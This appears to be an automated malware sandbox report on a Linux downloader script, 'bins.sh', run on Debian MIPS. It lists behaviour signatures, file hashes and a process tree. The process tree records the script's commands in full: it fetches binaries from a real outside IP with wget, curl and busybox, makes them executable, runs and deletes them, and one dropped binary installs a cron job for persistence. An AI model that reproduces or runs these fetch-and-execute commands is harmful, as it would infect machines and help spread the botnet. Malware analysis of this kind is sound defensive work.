Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/11/2024, 18:42

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241111-xcbmfstejj
  • SHA256 67193aa28c7c84a45ec76ef3ba36fca67c9a20da7a741cfb423f792d1153e455
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1480) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:730
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:733
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Writes file to tmp directory
          PID:739
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Writes file to tmp directory
          PID:755
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Writes file to tmp directory
          PID:761
        • /bin/chmod
          chmod 777 Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • File and Directory Permissions Modification
          PID:762
        • /tmp/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          ./Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Executes dropped EXE
          PID:763
        • /bin/rm
          rm Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
            PID:765
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Writes file to tmp directory
            PID:766
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Writes file to tmp directory
            PID:767
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Writes file to tmp directory
            PID:768
          • /bin/chmod
            chmod 777 ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • File and Directory Permissions Modification
            PID:769
          • /tmp/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            ./ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Executes dropped EXE
            PID:770
          • /bin/rm
            rm ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
              PID:772
            • /usr/bin/wget
              wget http://216.126.231.240/bins/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Writes file to tmp directory
              PID:773
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Writes file to tmp directory
              PID:784
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Writes file to tmp directory
              PID:795
            • /bin/chmod
              chmod 777 N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • File and Directory Permissions Modification
              PID:801
            • /tmp/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              ./N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Executes dropped EXE
              PID:803
            • /bin/rm
              rm N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
                PID:806
              • /usr/bin/wget
                wget http://216.126.231.240/bins/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Writes file to tmp directory
                PID:808
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Writes file to tmp directory
                PID:819
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Writes file to tmp directory
                PID:827
              • /bin/chmod
                chmod 777 qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • File and Directory Permissions Modification
                PID:828
              • /tmp/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                ./qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Executes dropped EXE
                PID:829
              • /bin/rm
                rm qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                  PID:831
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                  • Writes file to tmp directory
                  PID:832
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                  • Writes file to tmp directory
                  PID:833
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                  • Writes file to tmp directory
                  PID:841
                • /bin/chmod
                  chmod 777 PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                  • File and Directory Permissions Modification
                  PID:847
                • /tmp/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  ./PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                  • Executes dropped EXE
                  PID:848
                • /bin/rm
                  rm PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                  2⤵
                    PID:852
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:864
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                    • Writes file to tmp directory
                    PID:871
                  • /bin/chmod
                    chmod 777 oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                    • File and Directory Permissions Modification
                    PID:872
                  • /tmp/oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    ./oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                    • Executes dropped EXE
                    PID:873
                  • /bin/rm
                    rm oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                    2⤵
                      PID:875
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                      • Writes file to tmp directory
                      PID:876
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                      • Writes file to tmp directory
                      PID:877
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                      • Writes file to tmp directory
                      PID:878
                    • /bin/chmod
                      chmod 777 GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                      • File and Directory Permissions Modification
                      PID:879
                    • /tmp/GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      ./GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:880
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:882
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:888
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:891
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:958
                          • /bin/rm
                            rm GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                            2⤵
                              PID:887
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                              2⤵
                                PID:973
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                                2⤵
                                  PID:978
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:979
                                • /bin/chmod
                                  chmod 777 1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:984
                                • /tmp/1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                                  ./1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                                  2⤵
                                  • Executes dropped EXE
                                  PID:985
                                • /bin/rm
                                  rm 1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                                  2⤵
                                    PID:987
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/zweSyCgZYQzFyu7WEgwUOMV4dkgUULoKrI
                                    2⤵
                                      PID:988

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                                        • Path /tmp/1DwtfuX4mQ6wlPCvONiJ9J3ENCSJSmvZjL
                                        • Size 111KB
                                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                                        • Path /tmp/GJrVgDeRCLKqcXG7ZX3KUctnGVgMC52Wqb
                                        • Size 151KB
                                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
                                        • Path /tmp/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
                                        • Size 98KB
                                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                                        • Path /tmp/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                                        • Size 141KB
                                        • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
                                        • Path /tmp/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
                                        • Size 107KB
                                        • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
                                        • Path /tmp/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
                                        • Size 117KB
                                        • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                                        • Path /tmp/oXJb8yY3zAuqC7audjuA2EHm0drjNSamJ0
                                        • Size 119KB
                                        • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                                        • Path /tmp/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                                        • Size 177KB
                                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        tmp.zp4W8Q
                                        • Path /var/spool/cron/crontabs/tmp.zp4W8Q
                                        • Size 210B
                                        • SHA256 5f358b14cbb9dffee83e8a5e74eb2cd984d2107f206ceb4eaae6dd2d2e3ae0bc
                                        • MD5 SHA1 SHA512
                                        Submit Download